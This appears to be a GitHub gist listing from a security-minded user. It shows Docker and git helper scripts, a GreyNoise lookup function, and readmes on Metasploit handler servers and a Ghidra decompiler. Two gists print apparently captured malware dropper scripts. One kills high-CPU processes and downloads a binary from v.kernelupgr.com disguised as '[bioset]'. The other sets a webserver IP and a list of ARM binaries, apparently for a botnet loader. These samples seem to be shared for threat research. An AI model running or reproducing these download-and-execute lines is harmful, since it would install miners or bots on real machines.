Skip to content

Instantly share code, notes, and snippets.

@nl5887
nl5887 / start.sh
Last active September 12, 2019 19:27
Start docker tkiv cluster
export DATADIR=$(pwd)/tkiv-data/
for s in "pd1 pd2 pd3 tikv1 tikv2 tikv3"; do
docker stop $s
docker rm $s
done
#ifconfig lo0 alias 192.168.1.101
#ifconfig lo0 alias 192.168.1.102
#ifconfig lo0 alias 192.168.1.103
@nl5887
nl5887 / precommit
Last active August 28, 2019 11:06
Git pre-commit script that will validate build
#!/bin/bash
set -e
DEST=$(mktemp -d)
SRC=$(pwd)
pushd .
cd $DEST; git clone $SRC/.git . >/dev/null 2>&1
cd $SRC; git diff -P --cached | patch -p1 -d $DEST >/dev/null
@nl5887
nl5887 / dockerize.sh
Created August 18, 2019 12:48
Docker build script that will only use git added files to container volume
#!/bin/bash
DEST=$(mktemp -d)
SRC=$(pwd)
echo "Cloning $SRC into $DEST"
pushd .
cd $DEST
git clone $SRC/.git .
@nl5887
nl5887 / gist:0a55e297aad9bf5f4882deb44ea0ef79
Created March 18, 2019 19:49
fish function to query greynoise for specific ip
function greynoise
if test (count $argv) -eq 0
echo "No arguments specified. Usage:\necho greynoise {ip}"
return 1
end
set ip $argv[1]
curl -s -XPOST -d "ip=$ip" 'http://api.greynoise.io:8888/v1/query/ip'|jq '.'
end
@nl5887
nl5887 / 001_readme.md
Last active July 10, 2022 02:44
Metasploit Meterpreter handler servers (HTTP/HTTPS)

This gist contains a list of verified Metasploit Meterpreter http(s) handlers and Powershell Empire http(s) listeners.

Servers could be malicious, or just part of a red teaming action.

Thanks to censys.io and Jose.

@nl5887
nl5887 / 00_readme.md
Last active November 19, 2021 23:24
Ghidra decompile

Ghydra decompiler

This python script communicates with the Ghydra decompiler. Currently it succeeds in communicating, sending hardcoded opcodes and returning decompiled code.

Currently working on reversing the getPcodePacked command.

Next steps:

  • implement exception handling
  • implement callbacks
  • allow decompilation of custom payloads
@nl5887
nl5887 / all
Last active March 1, 2019 09:53
ps aux |awk '$3>40.0{print $2}'|xargs kill -9
cd /tmp
if [ $? -ne 0 ]
then
export PATH=`pwd`:$PATH
else
export PATH=/tmp:$PATH
fi
wget -q v.kernelupgr.com/d/vv -O \[bioset\] || curl -s v.kernelupgr.com/d/vv -o \[bioset\]
chmod +x \[bioset\]
@nl5887
nl5887 / a
Created February 26, 2019 20:47
#!/bin/sh
# Edit
WEBSERVER="209.141.50.26"
# Stop editing now
BINARIES="arm arm7 arm64"
for Binary in $BINARIES; do
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2012-2017 Matt Martz
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0